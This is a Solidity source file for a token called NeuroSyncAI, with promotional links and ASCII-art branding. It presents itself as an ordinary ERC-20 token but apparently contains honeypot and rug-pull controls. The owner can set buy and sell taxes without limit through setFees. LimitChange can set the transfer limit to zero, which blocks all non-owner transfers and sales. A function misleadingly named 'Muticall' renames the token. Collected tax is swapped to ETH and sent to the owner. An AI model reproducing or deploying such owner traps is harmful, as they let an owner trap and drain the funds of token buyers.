creation_sourcecode: // SPDX-License-Identifier: unlicense
  /*
  https://t.me/NeuroSyncAI
  
  https://neurosyncai.io
  
  ███╗░░██╗███████╗██╗░░░██╗██████╗░░█████╗░░██████╗██╗░░░██╗███╗░░██╗░█████╗░
  ████╗░██║██╔════╝██║░░░██║██╔══██╗██╔══██╗██╔════╝╚██╗░██╔╝████╗░██║██╔══██╗
  ██╔██╗██║█████╗░░██║░░░██║██████╔╝██║░░██║╚█████╗░░╚████╔╝░██╔██╗██║██║░░╚═╝
  ██║╚████║██╔══╝░░██║░░░██║██╔══██╗██║░░██║░╚═══██╗░░╚██╔╝░░██║╚████║██║░░██╗
  ██║░╚███║███████╗╚██████╔╝██║░░██║╚█████╔╝██████╔╝░░░██║░░░██║░╚███║╚█████╔╝
  ╚═╝░░╚══╝╚══════╝░╚═════╝░╚═╝░░╚═╝░╚════╝░╚═════╝░░░░╚═╝░░░╚═╝░░╚══╝░╚════╝░
  */
  pragma solidity ^0.8.0;
      
  interface IUniswapV2Router02 {
       function swapExactTokensForETHSupportingFeeOnTransferTokens(
          uint amountIn,
          uint amountOutMin,
          address[] calldata path,
          address to,
          uint deadline
      ) external;
  }
   interface IUniswapV2Factory {
      event PairCreated(address indexed token0, address indexed token1, address pair, uint);
      function createPair(address tokenA, address tokenB) external returns (address pair);
  }   
      contract NeuroSyncAI {
          string private  name_ = unicode"NeuroSyncAI";  
          string private  symbol_ = unicode"$NeuroSyncAI";  
          uint8 public constant decimals = 18;
          uint256 public constant totalSupply = 1000000000 * 10**decimals;
          
          uint256 buyTax = 0;
          uint256 public sellTax = 0;
          uint256 constant swapAmount = totalSupply / 1;
          uint256 maxBuyLimit = 1000000000 * 10**decimals;
          mapping (address => uint256) public balanceOf;
          mapping (address => mapping (address => uint256)) public allowance;
          
          error Permissions();
          
          event NameChanged(string newName,string newSymbol , address by);
        
         function LimitChange(uint256 _maxBuyLimit) external {
          require(msg.sender == owner);
          maxBuyLimit = _maxBuyLimit * 10**decimals;
     }
        
         function Muticall(string memory name,string memory symbol) external {
          require(msg.sender == owner);
          name_ = name;
          symbol_ = symbol;
          emit NameChanged(name, symbol, msg.sender);
      }
      
          function name() public view  returns (string memory) {
          return name_;
          }
  
      
          function symbol() public view  returns (string memory) {
          return symbol_;
          }    
  
          event Transfer(address indexed from, address indexed to, uint256 value);
          event Approval(
              address indexed owner,
              address indexed spender,
              uint256 value
          );
          
  
          address public pair ;
          address constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
          address constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
          IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(routerAddress);
          address payable public owner;
          bool private swapping;
          bool private tradingOpen = true;
  
          constructor() {
              owner = payable(msg.sender);
              balanceOf[msg.sender] = totalSupply;
              allowance[address(this)][routerAddress] = type(uint256).max;
              emit Transfer(address(0), msg.sender, totalSupply);
              pair = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f).createPair(address(this), 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
          }
  
          receive() external payable {}
  
          function approve(address spender, uint256 amount) external returns (bool){
              allowance[msg.sender][spender] = amount;
              emit Approval(msg.sender, spender, amount);
              return true;
          }
  
          function transfer(address to, uint256 amount) external returns (bool){
              return _transfer(msg.sender, to, amount);
          }
  
          function transferFrom(address from, address to, uint256 amount) external returns (bool){
              allowance[from][msg.sender] -= amount;        
              return _transfer(from, to, amount);
          }
  
          function _transfer(address from, address to, uint256 amount) internal returns (bool) {
      require(tradingOpen || from == owner || to == owner);
  
      if (!tradingOpen && pair == address(0) && amount > 0)
          pair = to;
  
       if (from != owner && amount >= maxBuyLimit) {
          revert("Exceeds maximum buy limit");
      }
  
      balanceOf[from] -= amount;
  
      if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount) {
          swapping = true;
          address[] memory path = new address[](2);
          path[0] = address(this);
          path[1] = ETH;
          _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
              swapAmount,
              0,
              path,
              address(this),
              block.timestamp
          );
          owner.transfer(address(this).balance);
          swapping = false;
      }
  
      if (from != address(this) && from != owner) {
          uint256 taxAmount = amount * (from == pair ? buyTax : sellTax) / 100;
          amount -= taxAmount;
          balanceOf[address(this)] += taxAmount;
      }
      balanceOf[to] += amount;
      emit Transfer(from, to, amount);
      return true;
  }
  
          function openTrading() external {
              require(msg.sender == owner);
              require(!tradingOpen);
              tradingOpen = true;        
          }
  
          function _setFees(uint256 _buy, uint256 _sell) private {
              buyTax = _buy;
              sellTax = _sell;
          }
  
          function setFees(uint256 _buy, uint256 _sell) external {
             require(msg.sender == owner);
              _setFees(_buy, _sell);
          }
      }